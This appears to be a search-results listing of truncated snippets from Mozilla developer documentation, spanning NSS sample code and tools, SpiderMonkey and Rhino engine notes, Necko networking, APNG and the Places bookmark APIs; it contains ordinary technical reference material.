... * * this function supports password extraction from files with * multiple passwords, one for each token. in the single password * case a line would just have the password whereas in the multi- * password variant they could be of the form * * token_1_name:its_password * token_2_name:its_password * */ char *filepasswd(pk11slotinfo *slot, prbool retry, voi...
NSS Sample Code sample6
* * to encrypt, you need the id of the key to use. * to decrypt, you need the ciphertext and the id of the key that was used * to encrypt * * before running this example, create the nss database * certutil -n -d . * (enter "test" when prompted for password) */ #include "nss.h" #include "pk11pub.h" /* the key id can be any sequence of bytes. ...
...the key id can be any sequence of bytes. this example happens to use an * integer */ void genkey(int id); /* this callback is responsible for returning the password to the nss * key database. for example purposes, this function hardcodes the password. * in a real app, this function should obtain the password using secure means * such as prompting an operator, or retrieving it over a secure co
mmunication * channel */ char *passwdcb(pk11slotinfo *info, prbool retry, void *arg); int main(int argc, char **argv) { secstatus rv; /* initialize nss */ pk11_setpasswordfunc(passwdcb); /* the nss db must be initialized read-write since we'll be creating * keys in it. once keys are generated, it can be opened without read-write * subsequently (nss_init). */ rv = nss_initrea...
Utilities for nss samples
* * this function supports password extraction from files with * multipe passwords, one for each token. in the single password * case a line would just have the passord whereas in the multi- * password variant they could be of the form * * token_1_name:its_password * token_2_name:its_password * */ extern char * filepasswd(pk11slotinfo * slot, ...
... * * this function supports password extraction from files with * multipe passwords, one for each token. in the single password * case a line would just have the passord whereas in the multi- * password variant they could be of the form * * token_1_name:its_password * token_2_name:its_password * */ char * filepasswd(pk11slotinfo *slot, prbool retry, void ...
nss tech note1
t handles both streaming and non-streaming input. the "quickder" decoder, written by julien pierre for nss 3.6 . this decoder was written when performance issues were discovered with the classic decoder. it can only decode der .† it does not handle streaming input, and requires that all input be present before beginning to decode. despite their differences, the two decoders have a lot in co
mmon. quickder was written to be as compatible as possible with the classic decoder, in order to ease migration to it in areas of critical performance bottlenecks. for this reason, i will first describe all the co
mmon functionality of the two decoders, before outlining their differences. the main non-streaming apis for these two decoders have an identical prototype : secstatus sec_asn1decodeit...
...it is useful to debug your templates or when writing new templates if they don't work. differences between sec_asn1decodeitem and sec_quickderdecodeitem the arena argument is required to be non-null for sec_quickderdecodeitem . with sec_asn1decodeitem, it can be null, and if so, the decoder will allocate from the heap using pr_malloc . however, this usage is strongly discouraged and we reco
mmend that you always use an arena pool even with sec_asn1decodeitem. see bug 175163 for more information about the reason for this reco
mmendation. sec_asn1decodeitem will make a copy of the input data into the decoded target as needed, while sec_quickderdecodeitem will generate output with pointers into the input. this means that if you use sec_quickderdecodeitem, you must always be careful not ...
nss tech note2
files the logger displays all activity between nss and a specified pkcs #11 module. it works by inserting a special set of entry points between nss and the module. to enable the module logger, you must set the environment variable nss_debug_pkcs11_module to the name of the target module. for example, to log the softoken, use: nss_debug_pkcs11_module="nss internal pkcs #11 module" note: in the co
mmand prompt on windows, do not quote the name of the target module, otherwise the quotes are considered part of the name. for example, to log the softoken on windows, use: set nss_debug_pkcs11_module=nss internal pkcs #11 module the logger is available by default in debug builds. for optimized builds, nss must be built with the variable debug_pkcs11 set. modes of operation the logger has sev...
...ect = 0xf6457d04 1024[805ef10]: ptemplate = 0xbffff2d0 1024[805ef10]: ulcount = 2 1024[805ef10]: cka_token = ck_true [1] 1024[805ef10]: cka_label = localhost.nyc.rr.com [20] 1024[805ef10]: rv = 0x0 4. collect performance data. this mode is most useful in optimized builds. the number of calls to each pkcs #11 function will be counted, and the time spent in each function as well. a su
mmary of performance data is dumped during nss shutdown. no additional environment variables are required for this mode. if the environment variable nss_output_file is set, its value will be used as the path name of the file to which the final output will be written. otherwise, the output will be written to stdout. ...
NSS PKCS11 Functions
in particular, these functions are used for obtaining certificates, keys, and passwords. this was converted from "chapter 7: pkcs #11 functions". back to the nss reference main page. secmod_loadusermodule secmod_unloadusermodule secmod_openuserdb secmod_closeuserdb pk11_findcertfromnickname pk11_findkeybyanycert pk11_getslotname pk11_gettokenname pk11_ishw pk11_ispresent pk11_isreadonly pk11_setpasswordfunc secmod_loadusermodule load a new pkcs #11 module based on a modulespec. ...
...n is unique. slotdescription the slotdescription value for this token returned in the ck_slot_info structure with an internationalize string (utf8). this value will be truncated at 64 bytes (no null, partialutf8 characters dropped). this name will not change after thedatabase is closed. it should have some number to make this unique. minpwlen then minimum password length for this token. flags a co
mma separated list of flag values, parsed case-insensitive. valid flags are: readonly - databases should be opened read only. nocertdb - don't try to open a certificate database. nokeydb - don't try to open a key database. forceopen - don't fail to initialize the token if thedatabases could not be opened. passwordrequired - zero length passwords are not acceptable(valid only if there is a keydb). o...
pkfnc.html
sl reference that we are migrating into the format described in the mdn style guide. if you are inclined to help with this migration, your help would be very much appreciated. upgraded documentation may be found in the current nss reference pkcs #11 functions chapter 7 pkcs #11 functions this chapter describes the core pkcs #11 functions that an application needs for co
mmunicating with cryptographic modules. in particular, these functions are used for obtaining certificates, keys, and passwords. pk11_findcertfromnickname pk11_findkeybyanycert pk11_getslotname pk11_gettokenname pk11_ishw pk11_ispresent pk11_isreadonly pk11_setpasswordfunc pk11_findcertfromnickname finds a certificate from its nickname. syntax #include <pk11func.h> #include <...
...same password again. failing to terminate when the retry argument is pr_true can result in an endless loop. several functions in the nss libraries use the password callback function to obtain the password before performing operations that involve the protected information. the third parameter to the password callback function is application-defined and can be used for any purpose. for example, co
mmunicator uses the parameter to pass information about which window is associated with the modal dialog box requesting the password from the user. when nss libraries call the password callback function, the value they pass in the third parameter is determined by ssl_setpkcs11pinarg. see also for examples of password callback functions, see the samples in the samples directory. ...
SSL functions
the nss home page links to additional ssl documentation. if documentation is available for a function listed below, the function name is linked to either its mdc wiki page or its entry in the old ssl reference. ...
... the nss home page links to additional ssl documentation. if documentation is available for a function listed below, the function name is linked to either its mdc wiki page or its entry in the old ssl reference. ...
NSS_3.12.3_release_notes.html
bug 472319: vfychain validates chain even if revoked certificate. bug 472749: softoken permits aes keys of any length to be created bug 473147: pk11mode tests fails on aix when using shareable dbs. bug ...
...able to disable/enable hash algorithms in cert/crl signatures bug 483168: nss callback api for looking up a default ocsp responder url bug 483963: assertion failure in ocsp tests. bug 484425: need accessor function to retrieve symkey handle bug 484466: sec_error_invalid_args with nss_enable_pkix_verify=1 bug 485127: bltest crashes when attempting rc5_cbc or rc5_ecb bug 485140: wrong co
mmand line flags used to build intel-aes.s with solaris gas for x86_64 bug 485370: crash bug 485713: files added by red hat recently have missing texts in license headers. bug 485729: remove lib/freebl/mapfile.solaris bug 485837: vc90.pdb files are output in source directory instead of objdir bug 486060: sec_asn1d_parse_leaf uses argument uninitialized by caller pbe_pk11algidtoparam doc...
NSS tools : cmsutil
name cmsutil — performs basic cryptograpic operations, such as encryption and decryption, on cryptographic message syntax (cms) messages. synopsis cmsutil [options] arguments description the cmsutil co
mmand-line uses the s/mime toolkit to perform basic operations, such as encryption and decryption, on cryptographic message syntax (cms) messages. to run cmsutil, type the co
mmand cmsutil option [arguments] where option and arguments are combinations of the options and arguments listed in the following section. each co
mmand takes one option. each option may take zero or more arguments. to see a usage string, issue the co
mmand without options. options and arguments options options specify an action. option arguments modify an action. the ...
... -c encrypt a message. -e envelope a message. -o create a certificates-only message. -s sign a message. ...
NSS tools : signver
the signature verification tool can also display the contents of the signed object. ...
...modules contained in a new subdirectory in the security databases directory because the sqlite databases are designed to be shared, these are the shared database type. the shared database type is preferred; the legacy format is included for backward compatibility. by default, the tools (certutil, pk12util, modutil) assume that the given security databases follow the more co
mmon legacy type. using the sqlite databases must be manually specified by using the sql: prefix with the given security directory. for example: # signver -a -s signature -d sql:/home/my/sharednssdb to set the shared database type as the default type for the tools, set the nss_default_db_type environment variable to sql: export nss_default_db_type="sql" this line can be set adde...
NSS tools : vfychain
nce, and assign default providers for cryptographic operations. this tool can also create certificate, key, and module security database files. the tasks associated with security module database management are part of a process that typically also involves managing key databases and certificate databases. ...
...nd assign default providers for cryptographic operations. this tool can also create certificate, key, and module security database files. the tasks associated with security module database management are part of a process that typically also involves managing key databases and certificate databases. ...
The Necko HTTP module
end the http implementation. transaction model this document describes the lifetime of a http transaction, the threads involved, and the relevant objects. pipelining faq this document gives an overview of http/1.1 pipelining by answering some frequently asked questions. caching faq this document gives an overview of how http caching is implemented in necko. it answers some of the co
mmon questions concerning what is cached and for how long. http cache (v2) describes in detail the api and the implementation details of the content (http, but not only) cache. http logging this document describes how to enable http logging for various platforms. original document information last updated date: may 12, 2003 copyright information: portions of this content are © 1998–...
...es in detail the api and the implementation details of the content (http, but not only) cache. http logging this document describes how to enable http logging for various platforms. original document information last updated date: may 12, 2003 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative co
mmons license | details ...
Necko Interfaces Overview
necko service manages protocol handlers thin layer over protocol handlers provides interface for creating uri objects from uri strings maps uri scheme to appropriate nsiprotocolhandler impl nsiuri (nsiurl, nsifileurl, nsistandardurl) represents an uri, with getters and setters for various uri parts (eg. scheme, host, path, ...) per protocol implementation necko provides uri impl's for co
mmon uri formats (see nsstandardurl, nssimpleuri) nsichannel : nsirequest represents a logical connection to the resource identified by a nsiuri per protocol implementation single use (ie. channel is used to download the resource once) download initiated via nsichannel::asyncopen method can be canceled via nsirequest::cancel method at anytime after invocation of asyncopen method nsiprotoco...
... ...
Rhino Debugger
avascript debugger can debug scripts running in multiple threads and provides facilities to set and clear breakpoints, control execution, view variables, and evaluate arbitrary javascript code in the current scope of an executing script. console window the debugger redirects the system.out, system.in, and system.err streams to an internal javascript console window which provides an editable co
mmand line for you to enter javascript code and view system output. the console window maintains a history of the co
mmands you have entered. you may move backward and forward through the history list by pressing the up/down arrow keys on the keyboard. opening scripts you may select the file->open menu item on the menu bar to load javascript scripts contained in files. this action will display a f...
...n the lower-right (dockable) pane in the debugger main window. the expressions you enter are re-evaluated in the current scope and their current values displayed each time control returns to the debugger or when you change the stack location in the context: window. evaluation window the evaluate pane located in the lower-right (dockable) pane in the debugger main window contains an editable co
mmand line where you may enter arbitrary javascript code. the code is evaluated in the context of the current stack frame. the window maintains a history of the co
mmands you have entered. you may move backward or forward through the history by pressing the up/down arrow keys on the keyboard. ...
Rhino Examples
mozilla/js/rhino/examples. sample scripts the unique.js script allows printing unique lines from a file. the liveconnect.js script shows a sample usage of liveconnect (java-to-javascript connectivity). the jsdoc.js script is a javascript analog to java's javadoc. it makes heavy use of regular expressions. the checkparam.js script is a useful tool to check that @param tags in java documentation co
mments match the parameters in the corresponding java method. the enum.js script is a good example of using a javaadapter to implement a java interface using a javascript object. the nervoustext.js script is a javascript implementation of the famous nervoustext applet using javascript compiled to java classes using jsc. it can be run in the html page nervoustext.html. controlling the javascript engi...
...mple of using a javaadapter to implement a java interface using a javascript object. the nervoustext.js script is a javascript implementation of the famous nervoustext applet using javascript compiled to java classes using jsc. it can be run in the html page nervoustext.html. controlling the javascript engine the runscript class runscript.java is a simple program that executes a script from the co
mmand line. the control class control.java is a program that executes a simple script and then manipulates the result. javascript shell shell.java is a program that executes javascript programs; it is a simplified version of the shell in the tools package. the programs may be specified as files on the co
mmand line or by typing interactively while the shell is running. primitivewrapfactory primitivew...
Rhino overview
rhino 1.3 and greater conform to edition 3 of the standard. rhino 1.6 and greater implement ecma-357 ecmascript for xml (e4x). see the specification for more information on the standard, and rhino version 1.6r1 release notes for details on the implementation in rhino. in addition, rhino has implemented javaadapters, which allows javascript to implement any java interface or extend ...
...n the standard, and rhino version 1.6r1 release notes for details on the implementation in rhino. in addition, rhino has implemented javaadapters, which allows javascript to implement any java interface or extend any java class with a javascript object. see the enum.js example for more information. numerous books and tutorials on javascript are available. javascript: the definitive guide is reco
mmended, and contains a chapter on rhino. deprecated language features several language features introduced in javascript 1.2 are now deprecated. these features allow "computational reflection": that is, the ability for a script to determine and influence aspects of the way it is evaluated. these features are generally not broadly useful, yet they impose significant constraints on implementations ...
Shumway
the project is not exactly a developer tool but it is something that content creators should test against (and report bugs or performance issues to). for even more information, please refer to the external links. the whats and whys of shumway shumway is a renderer for adobe flash built entirely in web standards (javascript, webgl, and others). ...
...this would be very much appreciated. ...
Creating JavaScript jstest reftests
rnal tests of conformance to ecmascript, and many of those tests remain in the js/src/non262 directory as regressions. test262 tests test262 is the implementation conformance test suite for the latest drafts of ecmascript language specification, as well as internationalization api specification and the json data interchange format. it is maintained by tc39, the ecmascript standard's technical co
mmittee. mozilla manually imports these tests into the js/src/tests/test262 directory. you should contribute directly to test262 in the following scenarios: you are writing tests for the implementation of a new feature or feature proposal for ecmascript. if tests for the new feature proposal do not yet exist in test262 (they might!), contributing to test262 will allow all other javascript...
...1; }'; actual = f + ''; comparesource(expect, actual, 'decompile simple function'); handling shell or browser specific features jstests run both in the browser and in the javascript shell. if your test needs to use browser-specific features, either: make the test silently pass if those features aren't present; or write a mochitest instead (preferred); or at the top of the test, add the co
mment // skip-if(xulruntime.shell), so that it only runs in the browser. if your test needs to use shell-specific features, like gc(), either: make the test silently pass if those features aren't present; or make it a jit-test (so that it never runs in the browser); or at the top of the test, add the co
mment // skip-if(!xulruntime.shell), so that it only runs in the shell. it is easy to ma...
GCIntegration - SpiderMonkey Redirect 1
never marked even though it's reachable. this will likely lead to a crash if c is accessed via b. write barriers all the schemes for preventing this sort of thing require write barriers. every time a pointer is updated, a small amount of code runs that may mark one of the objects involved in the update. this only happens if an incremental gc is in progress. spidermonkey uses a simple barrier co
mmonly called a "snapshot at the beginning" barrier. the fundamental invariant that this barrier guarantees is that any object reachable when the incremental gc started will be marked. in addition, objects allocated during the incremental gc are marked unconditionally. at the end of the gc, any reachable object must have been newly allocated or else reachable at the beginning, since objects can neve...
...ecessary, but those objects will be collected in the next gc if they're unreachable. spidermonkey implements the write barrier internally. any time a property is updated in the vm or the jit, a write barrier is invoked. the troublesome spots are the pointers in gecko that spidermonkey doesn't know about. to understand the problem more, let's consider some reasons why barriers are not needed in co
mmon areas of firefox: if a pointer is never changed after it's initialized, then there's no need for a write barrier. initializing a pointer never requires a write barrier because there was nothing being destroyed that might have part of the initial snapshot. if a pointer is not traced via js_call_tracer or any similar mechanism, then there's no need for a write barrier (although see below abou...
Functions
g with and eval, all outermost functions are null closures. null closures with upvars. a nested function is algol-like if it is only ever defined and called, and it isn't accessed in any other way (and it is not a generator-function). such a function is guaranteed never to be called again after the enclosing function exits. an algol-like function may read the local variables and arguments of its i
mmediate enclosing function from the stack, as if by magic. (jscontext::display caches the enclosing function's stack frame.) if that function is also algol-like, its child can read locals and variables from the next enclosing function, and so on. the compiler detects these cases and makes such functions null closures too. flat closures. suppose a function reads some variables from enclosing functio...
... take the value from the reserved slot. the function object's parent is the global object. flat closures and null closures have been removed: https://bugzilla.mozilla.org/show_bug.cgi?id=730497 https://bugzilla.mozilla.org/show_bug.cgi?id=739808 name lookups in order of speed, fastest to slowest. arg and local instructions. if a name definitely refers to an argument or local variable of the i
mmediately enclosing function, it can be accessed using jsop_{get,set,call}{arg,local} instructions. some of these can even be fused with other operations into combo instructions like jsop_getargprop, jsop_forlocal, and jsop_inclocal. because arguments and locals can't be deleted, this optimization is available to all functions, and eval does not interfere with it. but a with block can: function f...
JS::HandleValueArray
this article covers features introduced in spidermonkey 31 a handle to an array of rooted values. syntax js::handlevaluearray(const js::rootedvalue& value); js::handlevaluearray(const js::autovaluevector& values); js::handlevaluearray(const js::autovaluearray<n>& values); js::handlevaluearray(const js::callargs& args); js::handlevaluearray::fro
mmarkedlocation(size_t len, const js::value *elements); js::handlevaluearray::subarray(const js::handlevaluearray& values, size_t startindex, size_t len); js::handlevaluearray::empty(); name type description value js::rootedvalue & an element of newly created 1-length array. values js::autovaluevector & elements of newly created array. values ...
...::empty(); name type description value js::rootedvalue & an element of newly created 1-length array. values js::autovaluevector & elements of newly created array. values js::autovaluearray & elements of newly created array. args js::callargs & elements of newly created array. len size_t (fro
mmarkedlocation only) length of elements array or (subarray only) length of sub array of values. elements js::value * (fro
mmarkedlocation only) a pointer to the first element of an array of js::value. values js::handlevaluearray (subarray only) an array to get sub array. startindex size_t (subarray only) an index of the first element of subarray of va...
JS_SetBranchCallback
ontext cx using js_setoptions(). if the callback returns js_true, the js engine continues to execute the script. if the callback raises an exception using js_setpendingexception() and returns js_false, then the javascript engine propagates the exception to the script that was executing at the time. if the callback returns js_false without raising an exception, then the javascript engine i
mmediately stops running the script with an uncatchable error. the engine does not execute finally blocks in this case; this is the same behavior as any native method or callback. description js_setbranchcallback specifies a callback function that is automatically called when a script branches backward during execution, when a function returns, and at the end of the script. one typical use for a c...
...the end of the script. one typical use for a callback is in a client application to enable a user to abort a script that runs for a long time. another use is to call js_maybegc periodically. the callback is called very frequently, so applications should ensure that the callback runs very quickly most of the time. typically an application only wants to do something every 5,000 or so branches. a co
mmon technique is to use a counter. the callback simply increments the counter and does nothing further (returning js_true i
mmediately) unless the counter has reached the threshold value. see also mxr id search for js_setbranchcallback js_setoperationcallback js_setoptions bug 477187 ...
JSAPI reference
js_markgcthing obsolete since jsapi 5 js_isabouttobefinalized obsolete since jsapi 35 js_clearnewbornroots obsolete since jsapi 5 the rest of these apis help protect objects from being destroyed by the garbage collector before the application is done using them. if a variable is a root, then anything it points to will not be freed by the garbage collector. failure to root objects is a very co
mmon cause of mysterious crashes. class js::rooted<t> added in spidermonkey 17 class js::rootedobject added in spidermonkey 17 class js::rootedfunction added in spidermonkey 17 class js::rootedscript added in spidermonkey 17 class js::rootedstring added in spidermonkey 17 class js::rootedsymbol added in spidermonkey 38 class js::rootedid added in spidermonkey 17 class js:...
... js_internstring js_internstringn js_internucstring js_internucstringn js_internjsstring added in spidermonkey 1.8.5 js_...
SpiderMonkey 1.8.5
ges there are many new built-in functions in the javascript shell, mostly useful for testing spidermonkey. the scatter function has been removed, and a shell worker class (similar to html dom workers) has been added. known issues mac os x 10.5 (leopard) and xcode 3.2 spidermonkey will not build with certain builds of apple's gcc 4.2 c++ compiler. to check what version you are running, issue the co
mmand /usr/bin/g++-4.2 -v from a terminal window. the following builds are known to not work: i686-apple-darwin9-g++-4.2.1 (gcc) 4.2.1 (apple inc. build 5574) to work around this issue, either upgrade your xcode or use an alternate version of gcc, such as the one that shipped with leopard. to select an alternate c++ compiler, invoke configure thus: cxx=/usr/bin/g++-4.0 /path/configure --my-config...
...out $(mozjs_install_name_opt),$(jsapi_ldflags)) endif jsapi_ldflags := $(filter-out %libffi.a,$(jsapi_ldflags)) ldflags += $(jsapi_ldflags) future direction the spidermonkey 1.8.5 source release includes an experimental library versioning scheme. this versioning scheme will not be rolled back into the upstream mozilla source tree(s), and may not be used in future source releases. co
mments in bug 628723 with regard to its usefulness are appreciated. bugs with the source release tar ball should be copied to wes@page.ca. spidermonkey embedders should also be aware that mozilla has no plans to keep the jsapi, nor the jsdbgapi stable for embedders. we have chosen to concentrate on performance and correctness as primary concerns instead. the team is considering the removal of tin...
SpiderMonkey 1.8.7
ges there are many new built-in functions in the javascript shell, mostly useful for testing spidermonkey. the scatter function has been removed, and a shell worker class (similar to html dom workers) has been added. known issues mac os x 10.5 (leopard) and xcode 3.2 spidermonkey will not build with certain builds of apple's gcc 4.2 c++ compiler. to check what version you are running, issue the co
mmand /usr/bin/g++-4.2 -v from a terminal window. the following builds are known to not work: i686-apple-darwin9-g++-4.2.1 (gcc) 4.2.1 (apple inc. build 5574) to work around this issue, either upgrade your xcode or use an alternate version of gcc, such as the one that shipped with leopard. to select an alternate c++ compiler, invoke configure thus: cxx=/usr/bin/g++-4.0 /path/configure --my-config...
...out $(mozjs_install_name_opt),$(jsapi_ldflags)) endif jsapi_ldflags := $(filter-out %libffi.a,$(jsapi_ldflags)) ldflags += $(jsapi_ldflags) future direction the spidermonkey 1.8.5 source release includes an experimental library versioning scheme. this versioning scheme will not be rolled back into the upstream mozilla source tree(s), and may not be used in future source releases. co
mments in bug 628723 with regard to its usefulness are appreciated. bugs with the source release tar ball should be copied to wes@page.ca. spidermonkey embedders should also be aware that mozilla has no plans to keep the jsapi, nor the jsdbgapi stable for embedders. we have chosen to concentrate on performance and correctness as primary concerns instead. the team is considering the removal of tin...
SpiderMonkey 1.8
js.mak, an old windows-specific nmake file, has been deleted. it hasn't worked for a long time. it is fairly easy to create a microsoft visual studio project file for spidermonkey 1.8 from scratch. (if you would like to contribute and maintain a project file, please feel free to contact the spidermonkey team via email, bugzilla, or irc.) alternatively, you can install mozillabuild and run the co
mmand make -f makefile.ref in the js/src directory. spidermonkey 1.8 does not include the new tracemonkey jit or the configure-based build system, both of which are (a) pretty darn awesome and (b) coming in spidermonkey 1.8.1. on to the fun stuff. new javascript language features javascript 1.8 adds array.reduce() and reduceright(), expression closures, and generator expressions. there is also ...
...s that the documentation is much improved. see the jsapi user guide and the jsapi reference. native functions may implement the new callback signature jsfastnative instead of jsnative. jsfastnative can be significantly faster, but applications that use spidermonkey's fine-grained security features should heed the warning in its api documentation. new macros js_fs, js_fn, and js_fs_end are reco
mmended for populating jsfunctionspec arrays. js_newobjectwithgivenproto is exactly like js_newobject except that it doesn't use a default prototype object if you pass null. instead the object is created with no prototype. js_alreadyhasownproperty and friends are new functions for examining an object without triggering resolve hooks. it was possible to configure spidermonkey 1.7 to treat c/c++ ch...
SpiderMonkey 31
nguage, just not as fast. migrating to spidermonkey 31 the first change most embedders will notice is that spidermonkey must now be initialized before it can be used, using the newly-repurposed js_init method. after this method is called, normal jsapi operations are permitted. when all jsapi operation has completed, the corresponding js_shutdown method (currently non-mandatory, but highly reco
mmended as it may become mandatory in the future) uninitializes spidermonkey, cleaning up memory and allocations performed by js_init. a major change to spidermonkey in 31 is that its apis support a moving garbage collector. this entailed changing the vast majority of the jsapi from raw types, such as js::value or js::value*, to js::handle and js::mutablehandle template types that encapsulate acce...
...r executing any js script. once this method has been successfully called, it's okay to call js_newruntime and all the other existing spidermonkey apis as usual. once all jsapi operation has completed, the corresponding js_shutdown method uninitializes spidermonkey, cleaning up memory and allocations performed by js_init. it is not required to call js_shutdown at present, but it is strongly reco
mmended: calling it may be required in a future spidermonkey release. javascript shell changes detail added/removed methods here... on posix platforms, building a threadsafe shell no longer requires nspr. embedders still need to build with nspr, as the new wrappers require using spidermonkey internal functions which are not exposed to the public api. known issues detail any known issues here...
SpiderMonkey 45
eddertime (bug 1159507) js_mayresolvestandardclass (bug 1155946) js_getiteratorprototype (bug 1225392) js_globallexicalscope (bug 1202902) js_hasextensiblelexicalscope (bug 1202902) js_extensiblelexicalscope (bug 1202902) js_initreflectparse (bug 987514) js::toprimitive (bug 1206168) js::getfirstargumentastypehint (bug 1054756) js::objecttocompletepropertydescriptor (bug 1144366) js_seti
mmutableprototype (bug 1211607) js_getownucpropertydescriptor (bug 1211607) js_hasownpropertybyid (bug 1211607) js_hasownproperty (bug 1211607) js_deleteucproperty (bug 1211607) js::newfunctionfromspec (bug 1054756) js::compilefornonsyntacticscope (bug 1165486) js_checkforinterrupt (bug 1058695) js::mapdelete (bug 1159469) js::mapforeach (bug 1159469) js::newsetobject (bug 1159469) js::se...
...1208747) js::setstopwatchismonitoringcpow (bug 1156264) js::getstopwatchismonitoringcpow (bug 1156264) js::setstopwatchismonitoringjank (bug 1156264) js::getstopwatchismonitoringjank (bug 1156264) js::isstopwatchactive (bug 674779) js::getperfmonitoringtestcpurescheduling (bug 1181175) js::addcpowperformancedelta (bug 1181175) js::setstopwatchstartcallback (bug 1208747) js::setstopwatchco
mmitcallback (bug 1208747) js::setgetperformancegroupscallback (bug 1208747) js_stringhasbeeninterned renamed to js_stringhasbeenpinned (bug 1178581) js_internjsstring renamed to js_atomizeandpinjsstring (bug 1178581) js_internstringn renamed to js_atomizeandpinstringn (bug 1178581) js_internstring renamed to js_atomizeandpinstring (bug 1178581) js_internucstringn renamed to js_atomizeandpinuc...
SpiderMonkey: The Mozilla JavaScript runtime
ine written in c and c++. it is used in various mozilla products, including firefox, and is available under the mpl2. standalone source code releases can be found on the releases page. guides building spidermonkey build documentation how to get spidermonkey source code, build it, and run the test suite. using spidermonkey introduction to the javascript shell documentation of the co
mmand-line javascript shell, js. jsapi user guide this guide provides an overview of spidermonkey and describes how you can embed engine calls in your applications to make them javascript-aware. jsapi cookbook shows the jsapi translation of some co
mmonly used javascript expressions and statements. gc rooting guide guide on how to write code compatible with the generational gc in spidermonkey. ...
...tion. bytecode reference spidermonkey bytecode reference. ...
Mozinfo
rts a dictionary, mozinfo.info, that contain these values. mozinfo also exports: choices: a dictionary of possible values for os, bits, and processor main: the console_script entry point for mozinfo unknown: a singleton denoting a value that cannot be determined unknown has the string representation "unknown". unknown will evaluate as false in python: if not mozinfo.os: ... ...
...ain these values. mozinfo also exports: choices: a dictionary of possible values for os, bits, and processor main: the console_script entry point for mozinfo unknown: a singleton denoting a value that cannot be determined unknown has the string representation "unknown". unknown will evaluate as false in python: if not mozinfo.os: ... # unknown! co
mmand line usage mozinfo comes with a co
mmand line, mozinfo which may be used to diagnose one's current system. example output: os: linux version: ubuntu 10.10 bits: 32 processor: x86 three of these fields, os, bits, and processor, have a finite set of choices. you may display the value of these choices using mozinfo --os, mozinfo --bits, and mozinfo --processor. mozinfo --help documents co
mmand-line usage. ...
Animated PNG graphics
drew smith <asmith15@littlesvr.ca> overview apng is an extension of the portable network graphics (png) format, adding support for animated images. it is intended to be a replacement for simple animated images that have traditionally used the gif format, while adding support for 24-bit images and 8-bit transparency. apng is a simpler alternative to mng, providing a spec suitable for the most co
mmon usage of animated images on the internet. apng is backwards-compatible with png; any png decoder should be able to ignore the apng-specific chunks and display a single image. terminology the default image is the image described by the standard 'idat' chunks, and is the image that is displayed by decoders that do not support apng. the canvas is the area on the output device on which the fram...
...; an unsigned short shall be a 16-bit unsigned integer in network byte order with the range 0 to (2^16)-1; and a byte shall be an 8-bit unsigned integer with the range 0 to (2^8)-1. error handling apng is designed to allow incremental display of frames before the entire image has been read. this implies that some errors may not be detected until partway through the animation. it is strongly reco
mmended that when any error is encountered decoders should discard all subsequent frames, stop the animation, and revert to displaying the default image. a decoder which detects an error before the animation has started should display the default image. an error message may be displayed to the user if appropriate. structure an apng stream is a normal png stream as defined in the png specification,...
Gecko object attributes
he object they are on, unless they are overridden by a descendent with the same object attribute. this is in contrast to text attributes, which apply only to substrings in a text object. object attributes list aria attributes all aria attributes used on dom element (i.e., any attribute prefixed by 'aria-') are exposed as object attributes; name is preserved except the 'aria-' prefix is cut. co
mmon attributes class the class name for an element from html, xul, svg, etc. this is useful for retrieving microformat semantics for an element. display similar with display css style. applied to: any visible accessible id any value, defined by ui/content developers. used to indicate a persistent identifier for any object; useful for scripting. applied to: any role which related dom node ...
...es of mutations are possibly relevant? see the live region support for more information. event-from-input was the root cause of this event explicit user input? see the live region support for more information. member-of points to the root of the atomic container that this object is in. this will always be an ancestor of the current object. see the live region support for more information. co
mmon widget attributes checkable true when the widget is known to behave like a checkbox. note some widgets which appear to be checkboxes might in fact be cyclers (see "cycles" below). action 0 is named either "check" or "uncheck". applied to: state_checkable state datatype warning: obsolete, do not use! a qname that refers to an xsd (schema) defined type. for example, a datatype may be xs...
Manipulating bookmarks using Places
the places bookmarks service, provided by the nsinavbookmarksservice interface, provides methods for creating, deleting, and manipulating bookmarks and bookmark folders. this article offers examples for how to perform co
mmon bookmark management tasks using the bookmarks service. initiating the bookmarks service as is the case with nearly all interfaces, before you can use the bookmarks service, you need to get access to it: var bmsvc = components.classes["@mozilla.org/browser/nav-bookmarks-service;1"] .getservice(components.interfaces.nsinavbookmarksservice); creating a bookmark folder creating a new bookmark folder is done using the nsinavbookmarksservice.createfolder() method. for example, to create a new folder in the bookmarks menu: var menufolder...
...r var myext_bookmarklistener = { onbeginupdatebatch: function() {}, onendupdatebatch: function() {}, onitemadded: function(aitemid, afolder, aindex) {}, onitemremoved: function(aitemid, afolder, aindex) {}, onitemchanged: function(abookmarkid, aproperty, aisannotationproperty, avalue) { myextension.dosomething(); }, onitemvisited: function(abookmarkid, avisitid, time) {}, onite
mmoved: function(aitemid, aoldparent, aoldindex, anewparent, anewindex) {}, queryinterface: xpcomutils.generateqi([components.interfaces.nsinavbookmarkobserver]) }; // an extension var myextension = { // this function is called when my add-on is loaded onload: function() { bmsvc.addobserver(myext_bookmarklistener, false); }, // this function is called when my add-on is unloaded onunl...
Places Developer Guide
overview places is the umbrella term for a set of apis for managing browsing history and uri metadata first introduced in firefox 3. it encompasses history, bookmarks, tags, favicons, and annotations. there are two models of identity in the system: uris, and unique integer identifiers for items in the bookmark system. some of the apis are uri-centric, some use item ids. ...
...oolean value that is true of the changed property is an annotation. // you can access a bookmark item's annotations with the <code>nsiannotationservice</code>. }, onitemvisited: function(id, visitid, time) { // the visit id can be used with the history service to access other properties of the visit. // the time is the time at which the visit occurred, in microseconds. }, onite
mmoved: function(id, oldparent, oldindex, newparent, newindex) { // oldparent and newparent are the ids of the old and new parent folders of the moved item. }, queryinterface: function(iid) { if (iid.equals(ci.nsinavbookmarkobserver) || iid.equals(ci.nsisupports)) { return this; } throw cr.ns_error_no_interface; }, }; // register the observer with the bookmarks s...
Querying Places
cesutils.history.queriestoquerystring([query1, query2], 2, options); let queriesref = { }; let querycountref = { }; let optionsref = { }; placesutils.history.querystringtoqueries(querystring, queriesref, querycountref, optionsref); // now use queriesref.value, optionsref.value see places query uris for more information about the terms available for "place:" uris. using the results the most co
mmon way to use results is to implement a view. there is a built-in view that will put results in tree controls, and you can also implement your own. see displaying places information using views for more on this. this section discusses how to access the result directly, for example, if you are creating your own view or are processing the results instead of displaying them. note: be careful when ac...
... own. see displaying places information using views for more on this. this section discusses how to access the result directly, for example, if you are creating your own view or are processing the results instead of displaying them. note: be careful when accessing nodes and do not keep references to them around. notifications sent to the result from the history and bookmarks system, as well as co
mmands executed by the progra
